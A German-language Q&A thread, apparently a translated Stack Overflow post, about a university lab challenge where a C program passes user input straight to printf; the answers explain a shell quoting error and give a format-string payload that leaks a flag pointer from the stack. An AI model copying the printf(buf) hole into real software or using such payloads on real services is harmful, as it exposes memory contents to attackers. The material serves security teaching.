2017-08-25 2 views
-2

Ich bin ein Versuch, über Reverse Engineering von CSCI 4971 course zu lernen, und ich habe mit einer bestimmten Labor Frage zu kämpfen (fmt_string).Wie liest man einen beliebigen Zeiger aus dem Stack mit einem Formatzeichenfolgen-Exploit?

Ich soll irgendwo die Flagstores finden und ausdrucken. Hier ist, wie der Quellcode aussieht:

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <string.h> 

#define LINK "\x1b\x5b" "34m" 
#define RESET "\x1b\x5b" "0m" 


int main() 
{ 
    char buf[256]; 
    char *blah = (char *)0xdeadbeef; 
    char *pointer = flag; 
    char *xblah = (char *)0x1337c0de; 

    printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET 
     "Nobody really cared though until this exploit for ProFTPD was\n" 
     "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n" 
     "\n" 
     "In this challenge you do not need code execution. The flag is\n" 
     "somewhere in memory. There is a pointer to it on the stack. You\n" 
     "must use this pointer to dump the flag...\n" 
     "\n" 
     "You will retrieve it by passing in format string specifiers to\n" 
     "the printf() function\n" 
     "\n" 
     "After class read this article by rebel for fmt string leetness\n" 
     LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n" 
     "\n" 
     "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n" 
     "\n oh, and man printf\n" 
     "\n" 
     "\n" 
     ); 

    while(1) 
    { 
    printf("> "); 
    fgets(buf, sizeof(buf), stdin); 
    printf(buf); 
    } 

} 

Dies ist, wie ich das Problem angesprochen: Ich weiß, dass %x Eingabe werden die Daten im Stapel gespeichert ausdrucken. Wenn ich also AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x eingib, bekomme ich AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141, was ich erwartet habe.

Die letzten 4 Bytes 41414141 sind die 4 Als 'am Anfang, 4 Bytes deadbeef und 1337c0de sind diejenigen, die im Quellcode fest codiert sind. Jetzt bin ich mir ziemlich sicher, dass das Flag in der Adresse 080c90a0 gespeichert ist.

Allerdings, wenn ich this bash command laufen, ich die Fahne nicht bekommen kann:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 

Was ich erhalte, ist:

000000.> �� 
      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
.00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                  .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
         .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
           .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
             .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
               .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                 .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                   .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 

Bitte helfen Sie mir zu verstehen, was mache ich falsch, warum ich bekomme diese Ausgabe und was soll ich tun, um die Flagge zu bekommen?

+0

Diese Aufgabe klingt wie Unsinn, da sie 1) eine bestimmte Zuordnungsreihenfolge annimmt 2), dass keine Optimierungen vorgenommen werden. – Lundin

+0

"Führen Sie den Befehl' $ printf ... '" ??? Ist das ein Shell-Befehl? Oder meinst du, dass du das eingegeben hast? –

+1

@PaulOgilvie das ist Shell-Befehl. –

Antwort

1

Ihre bash printf Befehl nicht einmal lief Ihr C-Programm. Die ./fmt_string ist innerhalb der doppelten Anführungszeichen als Teil der eingebauten printf.

Auf meinem Desktop (in einem Verzeichnis ohne Datei fmt_string genannt), erhalte ich:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 
�� 
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string 

, die aus der Ausgabe anders Sie zeigen, vielleicht haben Sie den Befehl nicht kopieren Sie tatsächlich lief?


Vielleicht haben Sie tatsächlich printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string ausgeführt. Ohne das Rohr, druckt es:

�� 
.00000000.00000000.00000000.00000000.00000000.00000000. 

weil man nichts tat das printf builtin aus der Interpretation der % s in der Zeichenfolge Sie drucken zu stoppen. Verwenden Sie printf '%s\n' ..., oder verwenden Sie echo. Ironischerweise wurde Ihr Versuch, eine Formatzeichenfolge-Schwachstelle zu testen, durch die falsche Handhabung von Formatzeichenfolgen besiegt.

Piping, die printf Ausgabe durch Ihr Programm würde es wörtlich drucken, da es keine printf Meta-Zeichen mehr hat. Die fgets/printf Schleife kopiert in diesem Fall nur stdin nach stdout, obwohl es binären Müll enthält.


Was tatsächlich zu finden, wo flag auf dem Stapel gespeichert wird, kompiliert mit gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less, und schauen Sie sich Kommentare von gcc zu sehen, wo es den Zeiger setzen Sie wollen.

(Ich gehe davon aus, dass Ihr Exploit nur gegen den Code funktioniert mit -O0 kompiliert, da sonst der Zeiger wird nie auf dem Stapel gespeichert werden.)

IDK, wenn Sie -m32 oder nicht verwenden. Wenn nicht, dann werden die ersten 6 Integer-Argumente für printf in Integer-Registern (im x86-64 System V ABI) übergeben, also müssen Sie zuerst durch sie gehen.

Siehe das Tag-Wiki für ABI Doc-Links. Ich nehme an, Sie sind unter Linux von der Verwendung der printf Bash-Befehl.

+0

Warum wird dies abgelehnt? Dies erklärt perfekt die Ausgabe, die das OP von dem fehlgeschlagenen Versuch sah, eine Formatzeichenfolge in das C-Programm zu pipen. –

3

Ihr erster Versuch zeigt an, dass der Zeiger in der 5. Position gespeichert ist.

Ersetzen Sie einfach die 5. %08x durch einen geeigneten Formatcode, abhängig von den Daten in der angegebenen Position. Wenn Flagge zeigt auf einen String, dann% s ist geeignet:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x 

Erwartete Ausgabe:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141 
+0

Danke für den Hinweis auf den einfacheren Weg! –

Verwandte Themen